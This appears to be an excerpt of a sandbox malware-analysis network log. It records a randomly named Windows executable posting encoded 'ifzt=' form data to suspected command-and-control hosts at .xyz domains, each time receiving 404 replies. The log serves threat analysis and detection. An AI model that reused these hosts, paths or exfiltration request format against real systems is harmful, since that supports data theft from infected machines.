ifzt=sui6YJ4P+Vemu9q/IjXH6fP/IOnQLzjexkEpyRtxFTF9lw/pD4elCXDyioycMSWYNMi9a5hQu/3DBnBFf/zV+411AU1JX68LncrDxgEGbfU8Pp1ueMt9M+Y6V3K0XXHBG5XElWlYBU9wOkjpupyGYTCt9aihCRqYBDHixH9tC2tip41r4kdD23FWp2Jey7uxp7FmhuBAXUHMjtiGXSopd+E=
Nov 25, 2024 09:44:07.719129086 CET	1055	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:07 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DXZ5J92v8v4474zAStMVZH2IJAccT%2FyO1Zf05NZguCl4aoCPvv6%2Bpz2rhi3wM6pT0ldwT4TsqWYNLH097ooXBGFt6XZ0DiKzAhWRIWawfSonAhZKl3xDxPxi0d4%2F%2FpDKY1orWoVzJQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805ae21e7c4241-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2110&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=812&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49915	172.67.186.192	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:09.168637991 CET	10894	OUT	POST /sba9/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.izmirescortg.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.izmirescortg.xyz Referer: http://www.izmirescortg.xyz/sba9/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 73 75 69 36 59 4a 34 50 2b 56 65 6d 75 39 71 2f 49 6a 58 48 36 66 50 2f 49 4f 6e 51 4c 7a 6a 65 78 6b 45 70 79 52 74 78 46 54 4e 39 6c 44 33 70 52 4c 6d 6c 44 58 44 79 2b 34 79 64 4d 53 57 42 4e 4d 36 35 61 35 74 41 75 38 50 44 54 51 70 46 61 4e 62 56 70 6f 31 31 43 55 31 79 49 71 39 4a 6e 66 54 48 78 67 55 47 62 66 55 38 50 72 64 75 58 34 35 39 66 75 59 35 55 33 4b 34 54 58 47 6b 47 35 50 2b 6c 51 35 79 41 6b 64 77 50 45 7a 70 6a 38 47 47 41 44 43 56 38 61 69 48 43 52 76 41 42 44 4c 45 78 48 49 49 43 78 64 69 70 66 77 38 70 51 74 55 76 46 74 61 71 6b 4a 6f 36 72 75 38 6c 37 5a 4f 78 37 59 62 50 47 37 44 6b 4e 48 72 51 77 63 70 66 62 35 6e 52 4f 78 63 70 4b 44 6a 6b 78 50 47 41 55 58 6e 53 4f 54 72 42 61 30 35 36 33 31 57 58 4a 37 65 56 47 6a 2b 71 50 32 33 31 77 6a 58 73 41 4f 53 44 65 6b 65 4a 55 33 69 59 6a 64 58 38 64 64 62 72 74 65 58 56 33 51 73 79 55 43 50 49 30 67 5a 70 72 62 68 75 68 48 6d 51 4e 42 62 43 61 77 41 76 65 49 67 56 73 74 72 72 50 4d 68 51 2f 4f 58 55 73 30 6c 6c [TRUNCATED] Data Ascii: ifzt=sui6YJ4P+Vemu9q/IjXH6fP/IOnQLzjexkEpyRtxFTN9lD3pRLmlDXDy+4ydMSWBNM65a5tAu8PDTQpFaNbVpo11CU1yIq9JnfTHxgUGbfU8PrduX459fuY5U3K4TXGkG5P+lQ5yAkdwPEzpj8GGADCV8aiHCRvABDLExHIICxdipfw8pQtUvFtaqkJo6ru8l7ZOx7YbPG7DkNHrQwcpfb5nROxcpKDjkxPGAUXnSOTrBa05631WXJ7eVGj+qP231wjXsAOSDekeJU3iYjdX8ddbrteXV3QsyUCPI0gZprbhuhHmQNBbCawAveIgVstrrPMhQ/OXUs0llcgU6kWl20ZGr2BCYX4Oegn8qgSIb+UCPWs+DmbtmYFoy3i36rF2gEyFX8+8Mpqx3hEt/mInIUuVHPa+zIdNRG+bML2WToCxrW/aRK1zlJOBUAlx6P3qQXe0Xke45OrWp58B4fyW8X+rMsNcE+EMD8HvLQIMdnJt45+jUFBEiGoB6fXWyL4HVAZ/Jn62k8pqWaJtod/7PbiKgh50C3hY6T6EUf9Z+mH50dtFeb9zjJmY52gXSFX5auBIzUVelKvd10eoQ6Ac27gIIJe9+gCrhH8eH4+vEBuhmgjjU9v77KqFuOk2skyUtgrzhEnJpyUTSzawIgfeUijYJwWO8D78rsuXSqfH0ENbvzrkC+uhIcalPmK/JLn3NyAOl4ncF9ydN6+RvVUH4zqCgrKosZu+Z7O05VfgKvzFY8GBXOGfMyQ4XyFskqK1brBB4+bCp/dD2myU8S6DcpSg+eMn4IxQVI+jSMC9r4FzuWVLGI1k3cbSWLRDz+h+uwjjA+PO0lI6oyiZfWJPxVqP7+l3C7O0WMzFY1SLwVaas5tawoATCzBLkPWeQGQgIdqdxObcx1jNA32wTspbsjPwIn0SDVBKFDfkhtE9CugashSQMt3efBhmzOlRQwkEWhv3wO+hixXAipX12y8u5xmUIB0xWrvDKnntMMdc3X18HsZ [TRUNCATED]
Nov 25, 2024 09:44:10.340202093 CET	1060	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:10 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=noHmE0Cv4jk80YcMc7uOgWc4bUwJBpwRoRMRIYOI%2BLnxemZh84X7hk3E%2BDmvX0CCPhvXnmSWcq8OEjiyJc%2FcA8rtet30ng%2Fb4qqQA9IGssozlWYDfN1IsYuffRth6eEVF%2FuZ5yGmpw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805af30d814205-EWR Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1588&sent=4&recv=11&lost=0&retrans=0&sent_bytes=0&recv_bytes=10894&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 66 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 54 90 c1 6e c2 30 10 44 ef f9 8a 29 e7 96 85 8a a3 65 a9 25 41 20 a5 14 55 e1 d0 a3 c1 5b 6c 29 d8 d4 d9 14 e5 ef ab 98 4a 6d af b3 6f 76 67 56 dd 95 af cb e6 7d 57 61 dd bc d4 d8 ed 9f eb cd 12 93 07 a2 4d d5 ac 88 ca a6 bc 4d 1e a7 33 a2 6a 3b d1 85 72 72 6e b5 72 6c ac 2e 94 78 69 59 2f 66 0b 6c a3 60 15 fb 60 15 dd c4 42 51 86 d4 21 da 61 f4 cd f5 1f c6 cd 75 a1 2e ba 71 8c c4 9f 3d 77 c2 16 fb b7 1a 57 d3 21 44 c1 c7 c8 21 06 88 f3 1d 3a 4e 5f 9c a6 8a 2e d9 f6 64 ad 17 1f 83 69 db e1 1e 06 ff 02 14 9c 52 4c 79 11 87 63 ec 83 70 62 8b ab f3 2d 43 d2 e0 c3 09 12 d1 77 0c 13 50 8d 70 19 8f fd 99 83 8c ba 33 c1 8e e0 6f b2 9f b3 94 8b 28 ca 0f f8 06 00 00 ff ff e3 02 00 59 3c e4 fe 3b 01 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: f5Tn0D)e%A U[l)JmovgV}WaMM3j;rrnrl.xiY/fl``BQ!au.q=wW!D!:N_.diRLycpb-CwPp3o(Y<;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49923	172.67.186.192	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:11.833236933 CET	520	OUT	GET /sba9/?ifzt=hsKab5Z8okOTl8y9Vxbai4viX8bRHhfs9Ucn1wMjIFh0nzefPIjUKnrAgLCbEwixQNq8fslvmu/EEFVEU8GR0KRfEzdZZ5UTmPnT/iR9Rp0TOLJvLqtuatI=&qX=qP0hoZO0bjg4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-us Host: www.izmirescortg.xyz Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36
Nov 25, 2024 09:44:13.150933027 CET	1102	IN	HTTP/1.1 404 Not Found Date: Mon, 25 Nov 2024 08:44:12 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lyCgFL5MoDxFe%2F2B8Ls9%2B5Be5Xlj5hgtTh5W1L8Wzc5O4EhuipdKJe1hSMQW%2B6MFAFHWMy4HHVJ0z5PWSHyjU5XZIdSP0Iel3Z7UZ5l8UrwJWgs5PjjG2vBuK%2BUlCUl5gaFBl5CbAg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e805b03ed547c6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1928&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=520&delivery_rate=0&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49941	161.97.142.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:19.076984882 CET	783	OUT	POST /xd9h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.030002613.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 201 Origin: http://www.030002613.xyz Referer: http://www.030002613.xyz/xd9h/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 4c 61 7a 48 62 52 6c 44 5a 38 57 56 7a 6f 38 32 65 54 6e 76 5a 63 5a 30 36 50 4e 68 69 47 43 55 34 6a 59 51 54 6a 4f 47 77 79 62 6b 36 71 79 58 4d 2f 6c 61 65 47 52 35 34 75 54 46 69 74 78 31 34 38 37 49 30 6f 43 6d 53 4e 54 2f 46 4e 49 50 76 32 75 58 30 2b 35 30 7a 54 39 67 59 47 71 2b 38 44 71 57 51 72 57 37 7a 79 59 53 64 4f 64 38 58 70 2b 38 2b 30 76 65 52 41 71 63 4a 78 74 6a 38 71 4a 32 46 5a 7a 36 49 71 76 6f 42 76 6e 6a 6b 58 55 79 7a 4d 47 7a 65 39 43 46 33 4e 32 70 62 34 35 45 4b 4a 66 53 75 4e 59 5a 6b 76 54 37 36 50 64 52 57 56 61 31 4a 73 5a 58 32 6a 73 43 41 3d 3d Data Ascii: ifzt=aLazHbRlDZ8WVzo82eTnvZcZ06PNhiGCU4jYQTjOGwybk6qyXM/laeGR54uTFitx1487I0oCmSNT/FNIPv2uX0+50zT9gYGq+8DqWQrW7zyYSdOd8Xp+8+0veRAqcJxtj8qJ2FZz6IqvoBvnjkXUyzMGze9CF3N2pb45EKJfSuNYZkvT76PdRWVa1JsZX2jsCA==
Nov 25, 2024 09:44:20.346652031 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 25, 2024 09:44:20.346684933 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49948	161.97.142.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:21.822097063 CET	803	OUT	POST /xd9h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.030002613.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 221 Origin: http://www.030002613.xyz Referer: http://www.030002613.xyz/xd9h/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 4c 61 7a 48 62 52 6c 44 5a 38 57 56 54 59 38 30 35 50 6e 2b 70 63 57 37 61 50 4e 32 79 47 65 55 34 76 59 51 53 6d 56 47 6d 69 62 6c 59 69 79 55 4a 66 6c 64 65 47 52 71 34 75 57 4c 43 74 2b 31 34 77 4e 49 32 73 43 6d 53 5a 54 2f 45 64 49 4d 5a 2b 78 57 6b 2b 33 2f 54 54 37 6b 59 47 71 2b 38 44 71 57 52 4f 7a 37 33 57 59 52 74 65 64 39 7a 64 35 2f 2b 30 67 54 42 41 71 59 4a 77 6b 6a 38 71 33 32 45 46 4a 36 4b 53 76 6f 45 4c 6e 6a 31 58 62 70 6a 4d 36 74 75 39 55 55 6c 4d 63 6d 71 5a 53 4d 62 68 6e 55 73 39 50 56 43 69 4a 71 4c 75 4b 44 57 78 70 6f 4f 6c 74 61 31 65 6c 5a 43 58 33 51 58 53 57 31 42 62 68 39 63 64 75 56 2b 55 35 6e 30 38 3d Data Ascii: ifzt=aLazHbRlDZ8WVTY805Pn+pcW7aPN2yGeU4vYQSmVGmiblYiyUJfldeGRq4uWLCt+14wNI2sCmSZT/EdIMZ+xWk+3/TT7kYGq+8DqWROz73WYRted9zd5/+0gTBAqYJwkj8q32EFJ6KSvoELnj1XbpjM6tu9UUlMcmqZSMbhnUs9PVCiJqLuKDWxpoOlta1elZCX3QXSW1Bbh9cduV+U5n08=
Nov 25, 2024 09:44:23.073374987 CET	1236	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 25 Nov 2024 08:44:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: W/"66cce1df-b96" Content-Encoding: gzip Data Raw: 35 34 65 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 56 59 8f db 36 10 7e 76 7e 05 a3 22 48 0b 2c 69 1e a2 0e c7 5e 34 d9 26 68 1e 72 a0 db a2 e8 53 c0 95 28 4b 5d 59 74 24 da 5e a7 c8 7f ef 50 d7 ca 76 82 16 ba c8 99 f9 e6 e2 70 a8 e5 d3 5f 3e dc fc fe d7 c7 d7 28 b7 9b f2 fa c9 d2 7d 50 a9 aa f5 ca d3 95 77 fd 64 b6 cc b5 4a e1 3b 5b 6e b4 55 28 c9 55 dd 68 bb f2 76 36 c3 91 87 e6 8f ac 4a 6d f4 ca db 17 fa b0 35 b5 f5 50 62 2a ab 2b 10 3d 14 a9 cd 57 a9 de 17 89 c6 ed e4 0a 15 55 61 0b 55 e2 26 51 a5 5e b1 41 91 2d 6c a9 af 3f aa b5 46 ef 8d 45 6f cc ae 4a 97 f3 8e ea f8 8d 3d 76 a3 d9 9d 49 8f e8 1f 37 9a dd a9 e4 7e 5d 3b 51 9c 98 d2 d4 0b f4 43 26 dd f5 a2 65 6f 54 bd 2e 2a 6c cd 76 81 a2 67 1d 6d 90 93 a9 bb 3a 5a 06 fe e2 4c 6d 8a f2 b8 40 58 6d b7 a5 c6 cd b1 b1 7a 73 85 5e 95 45 75 ff 4e 25 b7 ed fc 0d 48 5e 21 ef 56 af 8d 46 7f bc f5 ae d0 6f e6 ce 58 03 b4 5f 75 b9 d7 b6 48 14 7a af 77 1a 38 2f 6b 08 f3 aa 35 30 f3 20 26 83 6e 55 d5 00 a3 81 0f 6e 74 5d 64 00 7b e9 ac a1 1b e7 15 7a bd 31 7f [TRUNCATED] Data Ascii: 54eVY6~v~"H,i^4&hrS(K]Yt$^Pvp_>(}PwdJ;[nU(Uhv6Jm5Pb+=WUaU&Q^A-l?FEoJ=vI7~];QC&eoT.lvgm:ZLm@Xmzs^EuN%H^!VFoX_uHzw8/k50 &nUnt]d{z1D7()St7JawG.z\|Q&8UjXB]O;g}\|5@Ro&i<b)~KmA5n)55AZ,/svWrt1J;^lJ(?}in`yqB 3ZcNqE^x$W,zkS3'xPuKt$:!f$iUw?:!arVF&P&mFWgC!;cC;xpUafKpZXzUR1k.1Z`?cVC4l- v\^x<XTM=z#zBqg[e_Ynwv2?tf.)x rkp8 ^9tGIw2+"$/V\|NRkPqcq?mDEN&BFtKGQ/xI %iO\|CqCJAtV"\|"@(3'!A>0HpL(pHP8G,$Qc
Nov 25, 2024 09:44:23.073443890 CET	370	IN	Data Raw: ee 1c 82 a8 28 61 4c 60 21 49 08 3e c9 90 08 3a ce 38 25 3e 8f 21 99 be 04 2b a0 46 10 06 01 f5 33 e1 dc 8e 80 cb 7c 12 87 01 06 8b 22 10 2e 9a 20 08 31 70 a5 f0 91 10 8e 77 c3 fd 10 6c 43 2e 44 44 a4 fb b2 00 b2 05 38 9f 75 e3 38 d8 fb b0 02 e0 Data Ascii: (aL`!I>:8%>!+F3\|". 1pwlC.DD8u8'/]tt0{{"G8A~[F`\075"J0B,FM@y#zJaac8;)76EO=m?5L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49954	161.97.142.144	80	3164	C:\Program Files (x86)\HAAlyPNaOhHHVbXNykVdTFHVVIFIQJkRdRstvzBMVDGJOHXsxgOmqOWPKexctSTZypxpxZMxQwddeiY\UFUUPGsATdE.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 09:44:24.731765032 CET	10885	OUT	POST /xd9h/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-us Host: www.030002613.xyz Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache Content-Length: 10301 Origin: http://www.030002613.xyz Referer: http://www.030002613.xyz/xd9h/ User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 BIDUBrowser/7.6 Safari/537.36 Data Raw: 69 66 7a 74 3d 61 4c 61 7a 48 62 52 6c 44 5a 38 57 56 54 59 38 30 35 50 6e 2b 70 63 57 37 61 50 4e 32 79 47 65 55 34 76 59 51 53 6d 56 47 6d 71 62 6c 74 32 79 57 6f 66 6c 63 65 47 52 70 34 75 58 4c 43 74 5a 31 34 6f 52 49 32 67 53 6d 51 68 54 2f 6d 46 49 4e 72 57 78 59 6b 2b 33 77 7a 54 36 67 59 47 37 2b 38 7a 55 57 51 2b 7a 37 33 57 59 52 72 36 64 37 6e 70 35 35 2b 30 76 65 52 41 75 63 4a 77 49 6a 38 7a 4d 32 45 51 30 36 2b 6d 76 72 6b 62 6e 77 54 44 62 6c 6a 4d 43 73 75 38 58 55 6c 41 48 6d 71 56 30 4d 62 6c 42 55 76 68 50 44 6c 7a 45 36 61 79 4f 66 31 5a 51 2b 75 56 4f 63 32 43 44 41 42 69 58 65 47 4b 36 72 6c 50 6b 36 4d 67 35 43 37 41 4a 78 69 2b 7a 7a 73 59 68 74 61 51 75 75 4f 59 59 4c 54 50 79 34 36 44 57 38 2b 46 43 76 59 66 36 78 32 59 30 79 35 64 53 7a 34 6f 6a 63 67 39 46 53 59 69 4a 71 6c 2f 67 48 38 79 53 33 36 48 45 78 58 73 55 39 4b 78 4d 71 2b 47 56 67 51 52 69 73 39 33 4c 74 6a 35 6d 50 79 70 64 57 34 6d 77 6e 44 50 6f 49 44 6d 5a 39 7a 50 45 42 7a 6a 53 45 54 5a 55 34 63 2f 70 70 [TRUNCATED] Data Ascii: ifzt=aLazHbRlDZ8WVTY805Pn+pcW7aPN2yGeU4vYQSmVGmqblt2yWoflceGRp4uXLCtZ14oRI2gSmQhT/mFINrWxYk+3wzT6gYG7+8zUWQ+z73WYRr6d7np55+0veRAucJwIj8zM2EQ06+mvrkbnwTDbljMCsu8XUlAHmqV0MblBUvhPDlzE6ayOf1ZQ+uVOc2CDABiXeGK6rlPk6Mg5C7AJxi+zzsYhtaQuuOYYLTPy46DW8+FCvYf6x2Y0y5dSz4ojcg9FSYiJql/gH8yS36HExXsU9KxMq+GVgQRis93Ltj5mPypdW4mwnDPoIDmZ9zPEBzjSETZU4c/pp8a+ISfZZTy2wABVWCm9kEAdCb0IOWHx80vlB1PE10xNQwNJe18yuRp4Su4U1J4QQ6Ulqi6cMYj4HKzZh7xZC+v+9nbSdRUKXEgreS5STITYwKIxG2SOsvdB/IRP/8dJtt6+0lMK15I4vzZkCLBU5vGvLq39gP5bEFCDtRNSTNNF3/Rn0ChMRQgVVBPflVQGO22+R/O5aSWtL5KHQS3avbcli8zW/napciP1o7CR+O2XnBkN6dxx0u5Ipmp31wStOAbdtHTyzXT3S9zI2vPdUVaVwhXppkMNJbuAifJYfUUKaocEShf6ftv+Q4GzVun1josGQW+K1D/UQGwUg+i8BrPbBJwPeRpLHFffkO/eyrLZSGUSGvGf3v3eDrxhBOrBd4WAVOG6XG9NiyDej/Dxz4+1GhJ2OzLMRZ0bIDHPEVkvyvy6sg6uIResi9qWaicBdVYJdJnsOE+ZA3Jfi1dwacTw/1V8/mtXya+GS90xT7sEhK0xN7Kn3dm9w0P8aAwkcUXXj6GOZKCd2U+/eDzPonBqITIjpCrjoyknR+O5Cu96DjJYzrZgAqV6q+otRvrB2PNGi